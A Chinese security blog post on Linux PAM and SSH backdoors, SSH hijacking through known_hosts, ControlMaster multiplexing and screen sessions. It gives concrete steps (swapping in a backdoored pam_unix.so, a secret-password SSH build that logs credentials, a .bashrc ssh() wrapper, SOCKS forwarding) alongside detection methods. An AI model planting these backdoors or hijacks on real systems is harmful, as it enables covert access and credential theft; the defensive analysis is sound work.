catalog

0. 引言
1. Pam后门
2. SSH后门
3. Hijacking SSH
4. Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication
5. Hijacking Active SSH Screen Sessions

0. 引言

0x1: 安全攻防观点

1. Know Your Enemy : Know Your System
//客户端攻防的战场主要在操作系统层面,同时也包括了和系统衔接的WEB、远程LOGIN等模块,了解它们的特性(尤其是高性能、边缘特性)才能更好地作出针对性的防御
2. Effectivness != Complexity
//攻防是一个整体性的工程化项目,任何一个维度的漏洞都能够导致被黑客入侵,因此并一定说内核攻防就比应用层攻防重要,它们是同等重要的。攻防手段的有效性并不一定需要通过复杂性来保证
3. Everything Is A Weapon
//内力所到之处,皆为兵刃,对于操作系统的任何一个特性,只要找到正确的使用方法和组合模式,都极有可能形成一条入侵向量

0x2: Attacker vs Defender

1. For the Attacker:
Use System Builtin's to Simulate Rootkit Functionality. 尽量做到润物细无声,即把rootkit伪装成系统正常的工具、行为
Stop relying on tools: "Master the environment."2. For the Defender:
Know Your System, Before I Use it Against You.
Thinking like an attacker: "Flip the evil bit."

Relevant Link:

https://www.blacklodgeresearch.org/files/7613/6963/4840/Poor_Mans_Root_Kit_BLR_talk_PUBLIC_2013.pdf

1. Pam后门

PAM(插入式验证模块(Pluggable Authentication Module,PAM))简单来说,就是提供了一组身份验证、密码验证的统一抽象接口,应用程序员可以使用这些API接口来实现与安全性相关的功能,PAM可以作为Linux登录验证(包括SSH)的统一验证入口点,也同样出于一点,黑客可以利用PAM部署SSH代码级的逻辑后门

0x1: 查询本机的PAM版本

0x2: 下载对应的源代码文件

http://pkgs.fedoraproject.org/repo/pkgs/pam/Linux-PAM-0.99.6.2.tar.bz2/52844c64efa6f8b6a9ed702eec341a4c/
http://www.linux-pam.org/pre/history/
http://www.linux-pam.org/pre/library/

0x3: 对原始的PAM so文件进行备份

cd /lib64/security
ll pam_unix.so
mv pam_unix.so pam_unix.so.bak

0x4: 修改源文件,添加逻辑后门

cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix
vim pam_unix_auth.c

0x5: 重新编译pam模块

cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/
./configure
make

0x6: 使用包含逻辑后门的pam模块替换系统默认的pam模块

cp /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so

0x7: 测试后门

1. 使用正常root帐号、密码登录
2. 使用root帐号,后门密码(pam)进行隐藏登录

0x8: 对抗检测方法

pam_unix是系统原生的模块,可以使用RPM的校验机制进行篡改检测

1. centos rpm校验已安装包是否被修改
rpm -qV pam
....L....  c /etc/pam.d/fingerprint-auth
....L....  c /etc/pam.d/password-auth
....L....  c /etc/pam.d/smartcard-auth
....L....  c /etc/pam.d/system-auth
S.?......    /lib64/libpam.so.0.82.2
S.?......    /lib64/libpam_misc.so.0.82.0
S.5....T.    /lib64/security/pam_unix.so结果含义
/*
如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式
1. 8位长字符串: 8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果("."表示检测通过)1) S: 文件大小 2) M: 模式e (包括权限和文件类型)3) 5: 校验和(md5)、?: 文件不可读4) D: 设备5) L: 符号链接6) U: 用户7) G: 组8) T: 文件修改时间
2. c: 用以指配置文件
3. 文件名
*/2. ubuntu
dpkg -V libpam-modules
??5?????? c /etc/security/limits.conf
??5??????   /lib/x86_64-linux-gnu/security/pam_unix.so

从二进制的角度来看,被植入了代码级逻辑后门的so文件可以被当成病毒处理,通过提取逻辑后门附近的二进制特征码,加入杀毒特征库,可以实现对此类后门的查杀,并禁止其被ssh加载

1. 提取包含逻辑后门的pam_unix.so的特征码
2. 加入杀毒特征库
3. 禁止逻辑后门pam_unix.so模块被ssh进程加载

Relevant Link:

http://w ww.csdn123.com/html/itweb/20130911/112822_112821_112829.htm
http://www.cnblogs.com/LittleHann/p/3662161.html
http://bobao.360.cn/learning/detail/454.html
http://www.awaysoft.com/taor/rpm%E6%A0%A1%E9%AA%8C%E5%B7%B2%E5%AE%89%E8%A3%85%E5%8C%85%E6%98%AF%E5%90%A6%E8%A2%AB%E4%BF%AE%E6%94%B9.html

2. SSH后门

vi includes.h                   //修改后门密码,记录文件位置,/*
+#define ILOG "/tmp/ilog"                      //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321"    //后门的密码
*/

0x1: 后门行为

1. 黑客使用设置的后门密码可以直接跨越验证逻辑登录
2. 管理员用root、其他帐号的登录全部会被秘密记录下来,相当于key logger

0x2: 对抗检测方法

1. 二进制特征检测1) 通过ELF格式动态定位到目标函数的位置2) 在目标函数内部采用clamav的特征库定位方式:【特征:offset:length】
2. 使用系统rpm检测ssh的完整性
3. 检测程序中的string特征字符串,黑客部署的逻辑后门代码一般都有一段字符串特征码
4. 尝试任意密码登录ssh,检查是否被黑客部署了"无密码逻辑后门",即黑客在判断逻辑中直接加入了return语句,跳过任何密码检查逻辑

Relevant Link:

http://www.freebuf.com/tools/10474.html

3. Hijacking SSH

SSH can also be used to gather inteligence about other potential targets on the network,every time a user connects to a system using SSH a file is created in $HOME/.ssh/ called known_hosts,by examining this file an attacker can see other hosts that trusts the user

在黑客控制了一台用户机器之后,通过查看known_hosts收集信息,将有可能获取到当前主机连接的下一台跳板机、内网、DMZ机器,以此扩大攻击面

Relevant Link:

https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

4. Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication

0x1: SSH multiplexing

Multiplexing is the ability to send more than one signal over a single line or connection. With multiplexing, OpenSSH can re-use an existing TCP connection for multiple concurrent SSH sessions rather than creating a new one each time.

1. the overhead of creating new TCP connections is eliminated. The overall number of connections that a machine may accept is a finite resource and the limit is more noticeable on some machines than on others, and varies greatly depending on both load and usage.
2. with multiplexing only a single TCP connection is set up and used regardless of whether or not there are multiple SSH sessions carried over it.
3. multiplexed connection技术可以显著减少ssh连接时间

0x2: Setting Up Multiplexing

需要明白的是,SSH劫持是发生在被黑客控制的机器上,黑客通过SSH劫持,希望能够无密码获得当前用户连接的下一台机器。因此,黑客需要修改的配置文件是受控制的用户机器上的配置文件

1. ControlMaster: determines whether ssh will listen for control connections and what to do about them.
2. ControlPath: is the location for the control socket used by the multiplexed sessionsv
3. ControlPersist: can be used in conjunction with ControlMaster. 1) If set to 'yes', it will leave the master connection open in the background indefinitely to accept new connections until either killed explicitly or closed with -O.
//Control sockets are removed automatically when the master connection is ended. 

1. 攻击者有root权限

vim /etc/ssh/ssh_config
/*
..
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
..
*/

开启了ControlMaster模式之后,如果当前用户已经成功登录过一次目标机器(例如远程跳板机、DMZ机器),则黑客可以利用Multiplexing技术直接"无密码"登录同样的那台服务器,简单来说,SSH的密码验证是基于TCP Connection级别的,而不是会话Session界别的,当发生Multiplexing的时候,黑客的Session可以直接绕过任何的登录验证

2. 攻击者没有root权限

vim $HOME/.ssh/config
/*
..
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
..
*/

3. 在.bashrc里封装ssh命令

vim $HOMW/.bashrc
/*
..
ssh ()
{ /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}
..
*/

利用了Linux Bash的自定义函数的方式、SSH动态配置参数的特性实现了开启ControlMaster模式

0x3: 攻击者复用Multiplexing模式下的Socket会话进行SSH连接

These settings will cause all new SSH sessions to create a persistent brokering master socket.
I've used %h in control socket commands to represent the target host, %h can be any char(s).

This socket can be used to create further sessions, without credentials, even after the original user exits their session.

0x4: Adding a dynamic tunnel

we can create a dynamic tunnel inside an existing master socket

lsof -i TCP:9090
ssh -O forward -D 9090 -S /tmp/root@112.124.20.20\:22 %h
lsof -i TCP:9090

通过注入命令实现端口转发,执行完这条命令后,我们就可以使用这台机器的9090端口做SOCKS5代理,访问下一跳的网段

0x5: 前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,我们可以手工rm删除/tmp/root@112.124.20.20\:22,也可以优雅的使用

ssh -O exit -S /tmp/root@112.124.20.20\:22 %h

0x6: 对抗检测方法

1. 检查ssh的配置文件中,是否开启了ControlMaster模式1) /etc/ssh/ssh_config2) $HOME/.ssh/config
2. 检查bash自定义函数中是否有ssh()劫持
set | grep "ssh()"

Relevant Link:

https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing
http://unix.stackexchange.com/questions/22965/limits-of-ssh-multiplexing
http://www.anchor.com.au/blog/2010/02/ssh-controlmaster-the-good-the-bad-the-ugly/
http://www.revsys.com/writings/quicktips/ssh-faster-connections.html

5. Hijacking Active SSH Screen Sessions

ssh_user用户使用screen管理ssh会话时的情景

1. 当ssh_user使用
screen ssh root@112.124.20.20
连接远程的"112.124.20.20"时,会在/var/run/screen有显示相应的文件2. ls -la /var/run/screen/
可以用screen -r root/来接管会话 

注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现

0x1: 对抗检测方法

1. 检测/var/run/screen/是否包含screen会话,这从某种程度上算是一种可疑事件

Relevant Link:

http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html
http://drops.wooyun.org/tips/5253

Copyright (c) 2015 Little5ann All rights reserved

转载于:https://www.cnblogs.com/LittleHann/p/4596223.html

Linux UserSpace Back-Door、Rootkit SSH/PAM Backdoor Attack And Defensive Tchnology相关推荐

  1. Linux之远程登录、远程拷贝命令 ssh scp

    Linux之远程登录.远程拷贝命令 ssh scp 1. 远程登录.远程拷贝命令的介绍 命令 说明 ssh 远程登录 scp 远程拷贝 2. ssh命令的使用 ssh是专门为远程登录提供的一个安全性协 ...

  2. 【Linux】12.ssh登录服务器一直被拒绝、以及 ssh连接总自己断开 的解决办法

    ssh登录服务器一直被拒绝.以及 ssh连接总自己断开 的解决办法 1.ssh登录服务器一直被拒绝的解决办法 ssh登录服务器,密码正确但是一直出现下面这种情况: Permission denied, ...

  3. labview 远程连接linux,SSH交互式通信总结:expect、plink、putty、sshpass、ALAB SSH

    关于在linux脚本中远程执行命令的问题,笔者在以前文章中可以使用expect工具来完成交互式通信.在windows平台下可以使用plink或者putty工具.免密也可以设置SSH秘钥,参考文章-Li ...

  4. Linux系统学习 八、SSH服务—SSH远程管理服务

    1.SSH简介 ssh(安全外壳协议)是Secure Shell的缩写,是建立在应用层和传输层基础上的安全协议.传输的时候是经过加密的,防止信息泄露,比telnet(明文传递)要安全很多. ftp安装 ...

  5. 腾讯云服务器Linux镜像系统登录方法(SSH、标准登录方式和VNC登录)

    腾讯云Linux服务器如何登录?可以使用SSH客户端登录,也可以使用腾讯云官方提供的标准登录方式和VNC登录,腾讯云服务器网来详细说下腾讯云服务器Linux操作系统登录连接方法: 腾讯云Linux服务 ...

  6. Linux下使用Google Authenticator配置SSH登录动态验证码

    说明: 1.一般ssh登录服务器,只需要输入账号和密码. 2.本教程的目的:在账号和密码之间再增加一个 验证码,只有输入正确的验证码之后,再输入 密码才能登录.这样就增强了ssh登录的安全性. 3.账 ...

  7. 【Linux】使用Google Authenticator 实现ssh登录双因素认证

    一般来说,使用ssh远程登录服务器,只需要输入账号和密码,显然这种方式不是很安全.为了安全着想,可以使用GoogleAuthenticator(谷歌身份验证器),以便在账号和密码之间再增加一个验证码, ...

  8. linux下源码编译升级ssh版本,ssh打补丁过程

    linux下源码编译升级ssh版本过程 记录打补丁之ssh源码编译升级过程 安装前软件准备 升级步骤 结尾及一些坑 记录打补丁之ssh源码编译升级过程 应安全报告要求需要修复操作系统中的ssh协议,原 ...

  9. 加密与解密、OpenSSL(SSL/TLS)、OpenSSH(ssh)、dropbear

    下面介绍的是Linux的加密与解密.OpenSSL(SSL/TLS).OpenSSH(ssh).dropbear. 一.数据的加密与解密 1.进程间通信基础 (1).进程间通信方式 同一主机间进程间的 ...

最新文章

  1. 计算机专业技能考核方案,计算机专业技能课教学目标考核方案教程.doc
  2. 云桌面 瘦终端_云桌面选择云终端还是瘦客户机?
  3. android ui怎么用ps切图,怎样用ps对设计稿进行一键切图?
  4. element-UI组件el-button样式覆写 - 生效篇
  5. memset()的用法
  6. html + css + js 实现一个打字小游戏(建议收藏)
  7. 网速提高学习周——软件篇
  8. 初步使用计算机教学案列,信息技术与学科教学整合教学案例
  9. 【MFC】测边网平差计算
  10. 键盘键码keyCode对照表
  11. Google BBR是什么?以及在 CentOS 7 上如何部署
  12. springboot自定义过滤器的方法
  13. 线性递推方程通解的特征根解法
  14. mysql 十年_十年前的老问题,MySQL 8.0有了答案
  15. 第一次基因数据处理从集群到数据处理结果---构建菌群物种丰度的图谱
  16. linuxmint/ubuntu修改主机名hostnam
  17. 快速上手五大技巧!自媒体新人创作攻略,想要通过拍视频赚钱
  18. java实现福利彩票抽奖_【福利】快来参与抽奖获得《Java程序设计》
  19. 电影学英语系列:双字幕电影
  20. 【dp】LGTB 玩THD

热门文章

  1. 函数的梯度方向和切线方向_高数下微课:11.3_5 二元函数的全微分求积
  2. c语言队列如何表示,队列的链式表示和实现(C语言)
  3. arm32 linux 内存分布,gcc代码反汇编查看内存分布[2]: arm-linux-gcc
  4. unigui中弹出对话框原窗体是没有了_最前线 | 微信对话框“搜一搜”功能上线,独辟蹊径的腾讯打着什么算盘?...
  5. c语言表达式3178的值为,【C语言】C语言运算符
  6. java获取注解的属性值_反射+自定义注解,实现获取注解标记的属性
  7. html 高德地图坐标,百度地图,高德地图,HTML5经纬度比较
  8. 数据挖掘-matplotlib、numpy、pandas(二)
  9. 第二章:1、函数求导
  10. OpenCV读写xml和yml文件